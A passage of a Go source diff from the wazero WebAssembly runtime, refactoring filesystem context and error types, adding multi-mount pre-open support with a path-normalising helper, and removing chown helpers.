// If toFile is already open, we close it to prevent windows lock issues.
|
||||
//
|
||||
// The doc is unclear and other implementations do nothing for already-opened To FDs.
|
||||
// https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-fd_renumberfd-fd-to-fd---errno
|
||||
// https://github.com/bytecodealliance/wasmtime/blob/main/crates/wasi-common/src/snapshots/preview_1.rs#L531-L546
|
||||
if toFile, ok := c.openedFiles.Lookup(to); ok {
|
||||
if toFile.IsPreopen {
|
||||
return syscall.ENOTSUP
|
||||
}
|
||||
_ = toFile.File.Close()
|
||||
}
|
||||
|
||||
c.openedFiles.Delete(from)
|
||||
if !c.openedFiles.InsertAt(fromFile, to) {
|
||||
return syscall.EBADF
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
// CloseFile returns any error closing the existing file.
|
||||
func (c *FSContext) CloseFile(fd int32) syscall.Errno {
|
||||
func (c *FSContext) CloseFile(fd int32) (errno sys.Errno) {
|
||||
f, ok := c.openedFiles.Lookup(fd)
|
||||
if !ok {
|
||||
return syscall.EBADF
|
||||
return sys.EBADF
|
||||
}
|
||||
if errno = f.File.Close(); errno != 0 {
|
||||
return errno
|
||||
}
|
||||
c.openedFiles.Delete(fd)
|
||||
c.readdirs.Delete(fd)
|
||||
return platform.UnwrapOSError(f.File.Close())
|
||||
return errno
|
||||
}
|
||||
|
||||
// Close implements io.Closer
|
||||
@@ -419,25 +381,19 @@ func (c *FSContext) Close() (err error) {
|
||||
}
|
||||
return true
|
||||
})
|
||||
// A closed FSContext cannot be reused so clear the state instead of
|
||||
// using Reset.
|
||||
// A closed FSContext cannot be reused so clear the state.
|
||||
c.openedFiles = FileTable{}
|
||||
c.readdirs = ReaddirTable{}
|
||||
return
|
||||
}
|
||||
|
||||
// NewFSContext creates a FSContext with stdio streams and an optional
|
||||
// pre-opened filesystem.
|
||||
//
|
||||
// If `preopened` is not UnimplementedFS, it is inserted into
|
||||
// the file descriptor table as FdPreopen.
|
||||
func (c *Context) NewFSContext(
|
||||
// InitFSContext initializes a FSContext with stdio streams and optional
|
||||
// pre-opened filesystems and TCP listeners.
|
||||
func (c *Context) InitFSContext(
|
||||
stdin io.Reader,
|
||||
stdout, stderr io.Writer,
|
||||
rootFS fsapi.FS,
|
||||
fs []fsapi.FS, guestPaths []string,
|
||||
tcpListeners []*net.TCPListener,
|
||||
) (err error) {
|
||||
c.fsc.rootFS = rootFS
|
||||
inFile, err := stdinFileEntry(stdin)
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -454,24 +410,19 @@ func (c *Context) NewFSContext(
|
||||
}
|
||||
c.fsc.openedFiles.Insert(errWriter)
|
||||
|
||||
if _, ok := rootFS.(fsapi.UnimplementedFS); ok {
|
||||
// don't add to the pre-opens
|
||||
} else if comp, ok := rootFS.(*sysfs.CompositeFS); ok {
|
||||
preopens := comp.FS()
|
||||
for i, p := range comp.GuestPaths() {
|
||||
c.fsc.openedFiles.Insert(&FileEntry{
|
||||
FS: preopens[i],
|
||||
Name: p,
|
||||
IsPreopen: true,
|
||||
File: &lazyDir{fs: rootFS},
|
||||
})
|
||||
for i, fs := range fs {
|
||||
guestPath := guestPaths[i]
|
||||
|
||||
if StripPrefixesAndTrailingSlash(guestPath) == "" {
|
||||
// Default to bind to '/' when guestPath is effectively empty.
|
||||
guestPath = "/"
|
||||
c.fsc.rootFS = fs
|
||||
}
|
||||
} else {
|
||||
c.fsc.openedFiles.Insert(&FileEntry{
|
||||
FS: rootFS,
|
||||
Name: "/",
|
||||
FS: fs,
|
||||
Name: guestPath,
|
||||
IsPreopen: true,
|
||||
File: &lazyDir{fs: rootFS},
|
||||
File: &lazyDir{fs: fs},
|
||||
})
|
||||
}
|
||||
|
||||
@@ -480,3 +431,42 @@ func (c *Context) NewFSContext(
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// StripPrefixesAndTrailingSlash skips any leading "./" or "/" such that the
|
||||
// result index begins with another string. A result of "." coerces to the
|
||||
// empty string "" because the current directory is handled by the guest.
|
||||
//
|
||||
// Results are the offset/len pair which is an optimization to avoid re-slicing
|
||||
// overhead, as this function is called for every path operation.
|
||||
//
|
||||
// Note: Relative paths should be handled by the guest, as that's what knows
|
||||
// what the current directory is. However, paths that escape the current
|
||||
// directory e.g. "../.." have been found in `tinygo test` and this
|
||||
// implementation takes care to avoid it.
|
||||
func StripPrefixesAndTrailingSlash(path string) string {
|
||||
// strip trailing slashes
|
||||
pathLen := len(path)
|
||||
for ; pathLen > 0 && path[pathLen-1] == '/'; pathLen-- {
|
||||
}
|
||||
|
||||
pathI := 0
|
||||
loop:
|
||||
for pathI < pathLen {
|
||||
switch path[pathI] {
|
||||
case '/':
|
||||
pathI++
|
||||
case '.':
|
||||
nextI := pathI + 1
|
||||
if nextI < pathLen && path[nextI] == '/' {
|
||||
pathI = nextI + 1
|
||||
} else if nextI == pathLen {
|
||||
pathI = nextI
|
||||
} else {
|
||||
break loop
|
||||
}
|
||||
default:
|
||||
break loop
|
||||
}
|
||||
}
|
||||
return path[pathI:pathLen]
|
||||
}
|
||||
+52
-50
@@ -1,14 +1,14 @@
|
||||
package sys
|
||||
|
||||
import (
|
||||
"io/fs"
|
||||
"os"
|
||||
"syscall"
|
||||
|
||||
experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
|
||||
"github.com/tetratelabs/wazero/internal/fsapi"
|
||||
"github.com/tetratelabs/wazero/sys"
|
||||
)
|
||||
|
||||
// compile-time check to ensure lazyDir implements internalapi.File.
|
||||
// compile-time check to ensure lazyDir implements fsapi.File.
|
||||
var _ fsapi.File = (*lazyDir)(nil)
|
||||
|
||||
type lazyDir struct {
|
||||
@@ -18,92 +18,94 @@ type lazyDir struct {
|
||||
f fsapi.File
|
||||
}
|
||||
|
||||
// Ino implements the same method as documented on internalapi.File
|
||||
func (r *lazyDir) Ino() (uint64, syscall.Errno) {
|
||||
// Dev implements the same method as documented on fsapi.File
|
||||
func (r *lazyDir) Dev() (uint64, experimentalsys.Errno) {
|
||||
if f, ok := r.file(); !ok {
|
||||
return 0, syscall.EBADF
|
||||
return 0, experimentalsys.EBADF
|
||||
} else {
|
||||
return f.Dev()
|
||||
}
|
||||
}
|
||||
|
||||
// Ino implements the same method as documented on fsapi.File
|
||||
func (r *lazyDir) Ino() (sys.Inode, experimentalsys.Errno) {
|
||||
if f, ok := r.file(); !ok {
|
||||
return 0, experimentalsys.EBADF
|
||||
} else {
|
||||
return f.Ino()
|
||||
}
|
||||
}
|
||||
|
||||
// IsAppend implements the same method as documented on internalapi.File
|
||||
// IsDir implements the same method as documented on fsapi.File
|
||||
func (r *lazyDir) IsDir() (bool, experimentalsys.Errno) {
|
||||
// Note: we don't return a constant because we don't know if this is really
|
||||
// backed by a dir, until the first call.
|
||||
if f, ok := r.file(); !ok {
|
||||
return false, experimentalsys.EBADF
|
||||
} else {
|
||||
return f.IsDir()
|
||||
}
|
||||
}
|
||||
|
||||
// IsAppend implements the same method as documented on fsapi.File
|
||||
func (r *lazyDir) IsAppend() bool {
|
||||
return false
|
||||
}
|
||||
|
||||
// SetAppend implements the same method as documented on internalapi.File
|
||||
func (r *lazyDir) SetAppend(bool) syscall.Errno {
|
||||
return syscall.EISDIR
|
||||
// SetAppend implements the same method as documented on fsapi.File
|
||||
func (r *lazyDir) SetAppend(bool) experimentalsys.Errno {
|
||||
return experimentalsys.EISDIR
|
||||
}
|
||||
|
||||
// Seek implements the same method as documented on internalapi.File
|
||||
func (r *lazyDir) Seek(offset int64, whence int) (newOffset int64, errno syscall.Errno) {
|
||||
// Seek implements the same method as documented on fsapi.File
|
||||
func (r *lazyDir) Seek(offset int64, whence int) (newOffset int64, errno experimentalsys.Errno) {
|
||||
if f, ok := r.file(); !ok {
|
||||
return 0, syscall.EBADF
|
||||
return 0, experimentalsys.EBADF
|
||||
} else {
|
||||
return f.Seek(offset, whence)
|
||||
}
|
||||
}
|
||||
|
||||
// Stat implements the same method as documented on internalapi.File
|
||||
func (r *lazyDir) Stat() (fsapi.Stat_t, syscall.Errno) {
|
||||
// Stat implements the same method as documented on fsapi.File
|
||||
func (r *lazyDir) Stat() (sys.Stat_t, experimentalsys.Errno) {
|
||||
if f, ok := r.file(); !ok {
|
||||
return fsapi.Stat_t{}, syscall.EBADF
|
||||
return sys.Stat_t{}, experimentalsys.EBADF
|
||||
} else {
|
||||
return f.Stat()
|
||||
}
|
||||
}
|
||||
|
||||
// Readdir implements the same method as documented on internalapi.File
|
||||
func (r *lazyDir) Readdir(n int) (dirents []fsapi.Dirent, errno syscall.Errno) {
|
||||
// Readdir implements the same method as documented on fsapi.File
|
||||
func (r *lazyDir) Readdir(n int) (dirents []fsapi.Dirent, errno experimentalsys.Errno) {
|
||||
if f, ok := r.file(); !ok {
|
||||
return nil, syscall.EBADF
|
||||
return nil, experimentalsys.EBADF
|
||||
} else {
|
||||
return f.Readdir(n)
|
||||
}
|
||||
}
|
||||
|
||||
// Sync implements the same method as documented on internalapi.File
|
||||
func (r *lazyDir) Sync() syscall.Errno {
|
||||
// Sync implements the same method as documented on fsapi.File
|
||||
func (r *lazyDir) Sync() experimentalsys.Errno {
|
||||
if f, ok := r.file(); !ok {
|
||||
return syscall.EBADF
|
||||
return experimentalsys.EBADF
|
||||
} else {
|
||||
return f.Sync()
|
||||
}
|
||||
}
|
||||
|
||||
// Datasync implements the same method as documented on internalapi.File
|
||||
func (r *lazyDir) Datasync() syscall.Errno {
|
||||
// Datasync implements the same method as documented on fsapi.File
|
||||
func (r *lazyDir) Datasync() experimentalsys.Errno {
|
||||
if f, ok := r.file(); !ok {
|
||||
return syscall.EBADF
|
||||
return experimentalsys.EBADF
|
||||
} else {
|
||||
return f.Datasync()
|
||||
}
|
||||
}
|
||||
|
||||
// Chmod implements the same method as documented on internalapi.File
|
||||
func (r *lazyDir) Chmod(mode fs.FileMode) syscall.Errno {
|
||||
// Utimens implements the same method as documented on fsapi.File
|
||||
func (r *lazyDir) Utimens(times *[2]syscall.Timespec) experimentalsys.Errno {
|
||||
if f, ok := r.file(); !ok {
|
||||
return syscall.EBADF
|
||||
} else {
|
||||
return f.Chmod(mode)
|
||||
}
|
||||
}
|
||||
|
||||
// Chown implements the same method as documented on internalapi.File
|
||||
func (r *lazyDir) Chown(uid, gid int) syscall.Errno {
|
||||
if f, ok := r.file(); !ok {
|
||||
return syscall.EBADF
|
||||
} else {
|
||||
return f.Chown(uid, gid)
|
||||
}
|
||||
}
|
||||
|
||||
// Utimens implements the same method as documented on internalapi.File
|
||||
func (r *lazyDir) Utimens(times *[2]syscall.Timespec) syscall.Errno {
|
||||
if f, ok := r.file(); !ok {
|
||||
return syscall.EBADF
|
||||
return experimentalsys.EBADF
|
||||
} else {
|
||||
return f.Utimens(times)
|
||||
}
|
||||
@@ -114,12 +116,12 @@ func (r *lazyDir) file() (fsapi.File, bool) {
|
||||
if f := r.f; r.f != nil {
|
||||
return f, true
|
||||
}
|
||||
var errno syscall.Errno
|
||||
r.f, errno = r.fs.OpenFile(".", os.O_RDONLY, 0)
|
||||
var errno experimentalsys.Errno
|
||||
r.f, errno = r.fs.OpenFile(".", fsapi.O_RDONLY, 0)
|
||||
switch errno {
|
||||
case 0:
|
||||
return r.f, true
|
||||
case syscall.ENOENT:
|
||||
case experimentalsys.ENOENT:
|
||||
return nil, false
|
||||
default:
|
||||
panic(errno) // unexpected
|
||||
@@ -127,7 +129,7 @@ func (r *lazyDir) file() (fsapi.File, bool) {
|
||||
}
|
||||
|
||||
// Close implements fs.File
|
||||
func (r *lazyDir) Close() syscall.Errno {
|
||||
func (r *lazyDir) Close() experimentalsys.Errno {
|
||||
f := r.f
|
||||
if f == nil {
|
||||
return 0 // never opened
|
||||
|
||||
+21
-31
@@ -3,12 +3,12 @@ package sys
|
||||
import (
|
||||
"io"
|
||||
"os"
|
||||
"syscall"
|
||||
"time"
|
||||
|
||||
experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
|
||||
"github.com/tetratelabs/wazero/internal/fsapi"
|
||||
"github.com/tetratelabs/wazero/internal/platform"
|
||||
"github.com/tetratelabs/wazero/internal/sysfs"
|
||||
"github.com/tetratelabs/wazero/sys"
|
||||
)
|
||||
|
||||
// StdinFile is a fs.ModeDevice file for use implementing FdStdin.
|
||||
@@ -19,10 +19,10 @@ type StdinFile struct {
|
||||
io.Reader
|
||||
}
|
||||
|
||||
// Read implements the same method as documented on internalapi.File
|
||||
func (f *StdinFile) Read(buf []byte) (int, syscall.Errno) {
|
||||
// Read implements the same method as documented on fsapi.File
|
||||
func (f *StdinFile) Read(buf []byte) (int, experimentalsys.Errno) {
|
||||
n, err := f.Reader.Read(buf)
|
||||
return n, platform.UnwrapOSError(err)
|
||||
return n, experimentalsys.UnwrapOSError(err)
|
||||
}
|
||||
|
||||
type writerFile struct {
|
||||
@@ -31,10 +31,10 @@ type writerFile struct {
|
||||
w io.Writer
|
||||
}
|
||||
|
||||
// Write implements the same method as documented on internalapi.File
|
||||
func (f *writerFile) Write(buf []byte) (int, syscall.Errno) {
|
||||
// Write implements the same method as documented on fsapi.File
|
||||
func (f *writerFile) Write(buf []byte) (int, experimentalsys.Errno) {
|
||||
n, err := f.w.Write(buf)
|
||||
return n, platform.UnwrapOSError(err)
|
||||
return n, experimentalsys.UnwrapOSError(err)
|
||||
}
|
||||
|
||||
// noopStdinFile is a fs.ModeDevice file for use implementing FdStdin. This is
|
||||
@@ -44,18 +44,13 @@ type noopStdinFile struct {
|
||||
noopStdioFile
|
||||
}
|
||||
|
||||
// AccessMode implements the same method as documented on internalapi.File
|
||||
func (noopStdinFile) AccessMode() int {
|
||||
return syscall.O_RDONLY
|
||||
}
|
||||
|
||||
// Read implements the same method as documented on internalapi.File
|
||||
func (noopStdinFile) Read([]byte) (int, syscall.Errno) {
|
||||
// Read implements the same method as documented on fsapi.File
|
||||
func (noopStdinFile) Read([]byte) (int, experimentalsys.Errno) {
|
||||
return 0, 0 // Always EOF
|
||||
}
|
||||
|
||||
// PollRead implements the same method as documented on internalapi.File
|
||||
func (noopStdinFile) PollRead(*time.Duration) (ready bool, errno syscall.Errno) {
|
||||
// PollRead implements the same method as documented on fsapi.File
|
||||
func (noopStdinFile) PollRead(*time.Duration) (ready bool, errno experimentalsys.Errno) {
|
||||
return true, 0 // always ready to read nothing
|
||||
}
|
||||
|
||||
@@ -65,13 +60,8 @@ type noopStdoutFile struct {
|
||||
noopStdioFile
|
||||
}
|
||||
|
||||
// AccessMode implements the same method as documented on internalapi.File
|
||||
func (noopStdoutFile) AccessMode() int {
|
||||
return syscall.O_WRONLY
|
||||
}
|
||||
|
||||
// Write implements the same method as documented on internalapi.File
|
||||
func (noopStdoutFile) Write(buf []byte) (int, syscall.Errno) {
|
||||
// Write implements the same method as documented on fsapi.File
|
||||
func (noopStdoutFile) Write(buf []byte) (int, experimentalsys.Errno) {
|
||||
return len(buf), 0 // same as io.Discard
|
||||
}
|
||||
|
||||
@@ -79,18 +69,18 @@ type noopStdioFile struct {
|
||||
fsapi.UnimplementedFile
|
||||
}
|
||||
|
||||
// Stat implements the same method as documented on internalapi.File
|
||||
func (noopStdioFile) Stat() (fsapi.Stat_t, syscall.Errno) {
|
||||
return fsapi.Stat_t{Mode: modeDevice, Nlink: 1}, 0
|
||||
// Stat implements the same method as documented on fsapi.File
|
||||
func (noopStdioFile) Stat() (sys.Stat_t, experimentalsys.Errno) {
|
||||
return sys.Stat_t{Mode: modeDevice, Nlink: 1}, 0
|
||||
}
|
||||
|
||||
// IsDir implements the same method as documented on internalapi.File
|
||||
func (noopStdioFile) IsDir() (bool, syscall.Errno) {
|
||||
// IsDir implements the same method as documented on fsapi.File
|
||||
func (noopStdioFile) IsDir() (bool, experimentalsys.Errno) {
|
||||
return false, 0
|
||||
}
|
||||
|
||||
// Close implements the same method as documented on internalapi.File
|
||||
func (noopStdioFile) Close() (errno syscall.Errno) { return }
|
||||
// Close implements the same method as documented on fsapi.File
|
||||
func (noopStdioFile) Close() (errno experimentalsys.Errno) { return }
|
||||
|
||||
func stdinFileEntry(r io.Reader) (*FileEntry, error) {
|
||||
if r == nil {
|
||||
|
||||
+3
-7
@@ -114,7 +114,7 @@ func (c *Context) RandSource() io.Reader {
|
||||
//
|
||||
// Note: This is only used for testing.
|
||||
func DefaultContext(fs fsapi.FS) *Context {
|
||||
if sysCtx, err := NewContext(0, nil, nil, nil, nil, nil, nil, nil, 0, nil, 0, nil, nil, fs, nil); err != nil {
|
||||
if sysCtx, err := NewContext(0, nil, nil, nil, nil, nil, nil, nil, 0, nil, 0, nil, nil, []fsapi.FS{fs}, []string{""}, nil); err != nil {
|
||||
panic(fmt.Errorf("BUG: DefaultContext should never error: %w", err))
|
||||
} else {
|
||||
return sysCtx
|
||||
@@ -135,7 +135,7 @@ func NewContext(
|
||||
nanotimeResolution sys.ClockResolution,
|
||||
nanosleep sys.Nanosleep,
|
||||
osyield sys.Osyield,
|
||||
rootFS fsapi.FS,
|
||||
fs []fsapi.FS, guestPaths []string,
|
||||
tcpListeners []*net.TCPListener,
|
||||
) (sysCtx *Context, err error) {
|
||||
sysCtx = &Context{args: args, environ: environ}
|
||||
@@ -188,11 +188,7 @@ func NewContext(
|
||||
sysCtx.osyield = platform.FakeOsyield
|
||||
}
|
||||
|
||||
if rootFS != nil {
|
||||
err = sysCtx.NewFSContext(stdin, stdout, stderr, rootFS, tcpListeners)
|
||||
} else {
|
||||
err = sysCtx.NewFSContext(stdin, stdout, stderr, fsapi.UnimplementedFS{}, tcpListeners)
|
||||
}
|
||||
err = sysCtx.InitFSContext(stdin, stdout, stderr, fs, guestPaths, tcpListeners)
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
+13
-12
@@ -4,12 +4,13 @@ import (
|
||||
"fmt"
|
||||
"io/fs"
|
||||
"path"
|
||||
"syscall"
|
||||
|
||||
experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
|
||||
"github.com/tetratelabs/wazero/internal/fsapi"
|
||||
"github.com/tetratelabs/wazero/sys"
|
||||
)
|
||||
|
||||
// Adapt adapts the input to api.FS unless it is already one. Use NewDirFS instead
|
||||
// Adapt adapts the input to fsapi.FS unless it is already one. Use NewDirFS instead
|
||||
// of os.DirFS as it handles interop issues such as windows support.
|
||||
//
|
||||
// Note: This performs no flag verification on OpenFile. fsapi.FS cannot read
|
||||
@@ -36,26 +37,26 @@ func (a *adapter) String() string {
|
||||
return fmt.Sprintf("%v", a.fs)
|
||||
}
|
||||
|
||||
// OpenFile implements the same method as documented on api.FS
|
||||
func (a *adapter) OpenFile(path string, flag int, perm fs.FileMode) (fsapi.File, syscall.Errno) {
|
||||
// OpenFile implements the same method as documented on fsapi.FS
|
||||
func (a *adapter) OpenFile(path string, flag fsapi.Oflag, perm fs.FileMode) (fsapi.File, experimentalsys.Errno) {
|
||||
return OpenFSFile(a.fs, cleanPath(path), flag, perm)
|
||||
}
|
||||
|
||||
// Stat implements the same method as documented on api.FS
|
||||
func (a *adapter) Stat(path string) (fsapi.Stat_t, syscall.Errno) {
|
||||
f, errno := a.OpenFile(path, syscall.O_RDONLY, 0)
|
||||
// Stat implements the same method as documented on fsapi.FS
|
||||
func (a *adapter) Stat(path string) (sys.Stat_t, experimentalsys.Errno) {
|
||||
f, errno := a.OpenFile(path, fsapi.O_RDONLY, 0)
|
||||
if errno != 0 {
|
||||
return fsapi.Stat_t{}, errno
|
||||
return sys.Stat_t{}, errno
|
||||
}
|
||||
defer f.Close()
|
||||
return f.Stat()
|
||||
}
|
||||
|
||||
// Lstat implements the same method as documented on api.FS
|
||||
func (a *adapter) Lstat(path string) (fsapi.Stat_t, syscall.Errno) {
|
||||
// At this time, we make the assumption that api.FS instances do not support
|
||||
// Lstat implements the same method as documented on fsapi.FS
|
||||
func (a *adapter) Lstat(path string) (sys.Stat_t, experimentalsys.Errno) {
|
||||
// At this time, we make the assumption that fsapi.FS instances do not support
|
||||
// symbolic links, therefore Lstat is the same as Stat. This is obviously
|
||||
// not true but until api.FS has a solid story for how to handle symlinks we
|
||||
// not true but until fsapi.FS has a solid story for how to handle symlinks we
|
||||
// are better off not making a decision that would be difficult to revert
|
||||
// later on.
|
||||
//
|
||||
|
||||
-30
@@ -1,30 +0,0 @@
|
||||
package sysfs
|
||||
|
||||
import (
|
||||
"os"
|
||||
"syscall"
|
||||
|
||||
"github.com/tetratelabs/wazero/internal/platform"
|
||||
)
|
||||
|
||||
// Chown is like os.Chown, except it returns a syscall.Errno, not a
|
||||
// fs.PathError. For example, this returns syscall.ENOENT if the path doesn't
|
||||
// exist. A syscall.Errno of zero is success.
|
||||
//
|
||||
// Note: This always returns syscall.ENOSYS on windows.
|
||||
// See https://linux.die.net/man/3/chown
|
||||
func Chown(path string, uid, gid int) syscall.Errno {
|
||||
err := os.Chown(path, uid, gid)
|
||||
return platform.UnwrapOSError(err)
|
||||
}
|
||||
|
||||
// Lchown is like os.Lchown, except it returns a syscall.Errno, not a
|
||||
// fs.PathError. For example, this returns syscall.ENOENT if the path doesn't
|
||||
// exist. A syscall.Errno of zero is success.
|
||||
//
|
||||
// Note: This always returns syscall.ENOSYS on windows.
|
||||
// See https://linux.die.net/man/3/lchown
|
||||
func Lchown(path string, uid, gid int) syscall.Errno {
|
||||
err := os.Lchown(path, uid, gid)
|
||||
return platform.UnwrapOSError(err)
|
||||
}
|
||||
-13
@@ -1,13 +0,0 @@
|
||||
//go:build !windows
|
||||
|
||||
package sysfs
|
||||
|
||||
import (
|
||||
"syscall"
|
||||
|
||||
"github.com/tetratelabs/wazero/internal/platform"
|
||||
)
|
||||
|
||||
func fchown(fd uintptr, uid, gid int) syscall.Errno {
|
||||
return platform.UnwrapOSError(syscall.Fchown(int(fd), uid, gid))
|
||||
}
|
||||
-11
@@ -1,11 +0,0 @@
|
||||
//go:build windows
|
||||
|
||||
package sysfs
|
||||
|
||||
import "syscall"
|
||||
|
||||
// fchown is not supported on windows. For example, syscall.Fchown returns
|
||||
// syscall.EWINDOWS, which is the same as syscall.ENOSYS.
|
||||
func fchown(fd uintptr, uid, gid int) syscall.Errno {
|
||||
return syscall.ENOSYS
|
||||
}
|
||||
+3
-3
@@ -6,9 +6,9 @@ import (
|
||||
"os"
|
||||
"syscall"
|
||||
|
||||
"github.com/tetratelabs/wazero/internal/platform"
|
||||
"github.com/tetratelabs/wazero/experimental/sys"
|
||||
)
|
||||
|
||||
func datasync(f *os.File) syscall.Errno {
|
||||
return platform.UnwrapOSError(syscall.Fdatasync(int(f.Fd())))
|
||||
func datasync(f *os.File) sys.Errno {
|
||||
return sys.UnwrapOSError(syscall.Fdatasync(int(f.Fd())))
|
||||
}
|
||||
+3
-2
@@ -4,10 +4,11 @@ package sysfs
|
||||
|
||||
import (
|
||||
"os"
|
||||
"syscall"
|
||||
|
||||
"github.com/tetratelabs/wazero/experimental/sys"
|
||||
)
|
||||
|
||||
func datasync(f *os.File) syscall.Errno {
|
||||
func datasync(f *os.File) sys.Errno {
|
||||
// Attempt to sync everything, even if we only need to sync the data.
|
||||
return fsync(f)
|
||||
}
|
||||
+8
-9
@@ -2,23 +2,22 @@ package sysfs
|
||||
|
||||
import (
|
||||
"io"
|
||||
"syscall"
|
||||
|
||||
"github.com/tetratelabs/wazero/experimental/sys"
|
||||
"github.com/tetratelabs/wazero/internal/fsapi"
|
||||
"github.com/tetratelabs/wazero/internal/platform"
|
||||
)
|
||||
|
||||
func adjustReaddirErr(f fsapi.File, isClosed bool, err error) syscall.Errno {
|
||||
func adjustReaddirErr(f fsapi.File, isClosed bool, err error) sys.Errno {
|
||||
if err == io.EOF {
|
||||
return 0 // e.g. Readdir on darwin returns io.EOF, but linux doesn't.
|
||||
} else if errno := platform.UnwrapOSError(err); errno != 0 {
|
||||
} else if errno := sys.UnwrapOSError(err); errno != 0 {
|
||||
errno = dirError(f, isClosed, errno)
|
||||
// Ignore errors when the file was closed or removed.
|
||||
// Comply with errors allowed on fsapi.File Readdir
|
||||
switch errno {
|
||||
case syscall.EIO, syscall.EBADF: // closed while open
|
||||
return 0
|
||||
case syscall.ENOENT: // Linux error when removed while open
|
||||
return 0
|
||||
case sys.EINVAL: // os.File Readdir can return this
|
||||
return sys.EBADF
|
||||
case sys.ENOTDIR: // dirError can return this
|
||||
return sys.EBADF
|
||||
}
|
||||
return errno
|
||||
}
|
||||
|
||||
+41
-52
@@ -5,8 +5,10 @@ import (
|
||||
"os"
|
||||
"syscall"
|
||||
|
||||
experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
|
||||
"github.com/tetratelabs/wazero/internal/fsapi"
|
||||
"github.com/tetratelabs/wazero/internal/platform"
|
||||
"github.com/tetratelabs/wazero/sys"
|
||||
)
|
||||
|
||||
func NewDirFS(dir string) fsapi.FS {
|
||||
@@ -36,99 +38,86 @@ func (d *dirFS) String() string {
|
||||
return d.dir
|
||||
}
|
||||
|
||||
// OpenFile implements the same method as documented on api.FS
|
||||
func (d *dirFS) OpenFile(path string, flag int, perm fs.FileMode) (fsapi.File, syscall.Errno) {
|
||||
// OpenFile implements the same method as documented on fsapi.FS
|
||||
func (d *dirFS) OpenFile(path string, flag fsapi.Oflag, perm fs.FileMode) (fsapi.File, experimentalsys.Errno) {
|
||||
return OpenOSFile(d.join(path), flag, perm)
|
||||
}
|
||||
|
||||
// Lstat implements the same method as documented on api.FS
|
||||
func (d *dirFS) Lstat(path string) (fsapi.Stat_t, syscall.Errno) {
|
||||
// Lstat implements the same method as documented on fsapi.FS
|
||||
func (d *dirFS) Lstat(path string) (sys.Stat_t, experimentalsys.Errno) {
|
||||
return lstat(d.join(path))
|
||||
}
|
||||
|
||||
// Stat implements the same method as documented on api.FS
|
||||
func (d *dirFS) Stat(path string) (fsapi.Stat_t, syscall.Errno) {
|
||||
// Stat implements the same method as documented on fsapi.FS
|
||||
func (d *dirFS) Stat(path string) (sys.Stat_t, experimentalsys.Errno) {
|
||||
return stat(d.join(path))
|
||||
}
|
||||
|
||||
// Mkdir implements the same method as documented on api.FS
|
||||
func (d *dirFS) Mkdir(path string, perm fs.FileMode) (errno syscall.Errno) {
|
||||
// Mkdir implements the same method as documented on fsapi.FS
|
||||
func (d *dirFS) Mkdir(path string, perm fs.FileMode) (errno experimentalsys.Errno) {
|
||||
err := os.Mkdir(d.join(path), perm)
|
||||
if errno = platform.UnwrapOSError(err); errno == syscall.ENOTDIR {
|
||||
errno = syscall.ENOENT
|
||||
if errno = experimentalsys.UnwrapOSError(err); errno == experimentalsys.ENOTDIR {
|
||||
errno = experimentalsys.ENOENT
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// Chmod implements the same method as documented on api.FS
|
||||
func (d *dirFS) Chmod(path string, perm fs.FileMode) syscall.Errno {
|
||||
// Chmod implements the same method as documented on fsapi.FS
|
||||
func (d *dirFS) Chmod(path string, perm fs.FileMode) experimentalsys.Errno {
|
||||
err := os.Chmod(d.join(path), perm)
|
||||
return platform.UnwrapOSError(err)
|
||||
return experimentalsys.UnwrapOSError(err)
|
||||
}
|
||||
|
||||
// Chown implements the same method as documented on api.FS
|
||||
func (d *dirFS) Chown(path string, uid, gid int) syscall.Errno {
|
||||
return Chown(d.join(path), uid, gid)
|
||||
}
|
||||
|
||||
// Lchown implements the same method as documented on api.FS
|
||||
func (d *dirFS) Lchown(path string, uid, gid int) syscall.Errno {
|
||||
return Lchown(d.join(path), uid, gid)
|
||||
}
|
||||
|
||||
// Rename implements the same method as documented on api.FS
|
||||
func (d *dirFS) Rename(from, to string) syscall.Errno {
|
||||
// Rename implements the same method as documented on fsapi.FS
|
||||
func (d *dirFS) Rename(from, to string) experimentalsys.Errno {
|
||||
from, to = d.join(from), d.join(to)
|
||||
return Rename(from, to)
|
||||
return rename(from, to)
|
||||
}
|
||||
|
||||
// Readlink implements the same method as documented on api.FS
|
||||
func (d *dirFS) Readlink(path string) (string, syscall.Errno) {
|
||||
// Readlink implements the same method as documented on fsapi.FS
|
||||
func (d *dirFS) Readlink(path string) (string, experimentalsys.Errno) {
|
||||
// Note: do not use syscall.Readlink as that causes race on Windows.
|
||||
// In any case, syscall.Readlink does almost the same logic as os.Readlink.
|
||||
dst, err := os.Readlink(d.join(path))
|
||||
if err != nil {
|
||||
return "", platform.UnwrapOSError(err)
|
||||
return "", experimentalsys.UnwrapOSError(err)
|
||||
}
|
||||
return platform.ToPosixPath(dst), 0
|
||||
}
|
||||
|
||||
// Link implements the same method as documented on api.FS
|
||||
func (d *dirFS) Link(oldName, newName string) syscall.Errno {
|
||||
// Link implements the same method as documented on fsapi.FS
|
||||
func (d *dirFS) Link(oldName, newName string) experimentalsys.Errno {
|
||||
err := os.Link(d.join(oldName), d.join(newName))
|
||||
return platform.UnwrapOSError(err)
|
||||
return experimentalsys.UnwrapOSError(err)
|
||||
}
|
||||
|
||||
// Rmdir implements the same method as documented on api.FS
|
||||
func (d *dirFS) Rmdir(path string) syscall.Errno {
|
||||
err := syscall.Rmdir(d.join(path))
|
||||
return platform.UnwrapOSError(err)
|
||||
// Rmdir implements the same method as documented on fsapi.FS
|
||||
func (d *dirFS) Rmdir(path string) experimentalsys.Errno {
|
||||
return rmdir(d.join(path))
|
||||
}
|
||||
|
||||
// Unlink implements the same method as documented on api.FS
|
||||
func (d *dirFS) Unlink(path string) (err syscall.Errno) {
|
||||
return Unlink(d.join(path))
|
||||
func rmdir(path string) experimentalsys.Errno {
|
||||
err := syscall.Rmdir(path)
|
||||
return experimentalsys.UnwrapOSError(err)
|
||||
}
|
||||
|
||||
// Symlink implements the same method as documented on api.FS
|
||||
func (d *dirFS) Symlink(oldName, link string) syscall.Errno {
|
||||
// Unlink implements the same method as documented on fsapi.FS
|
||||
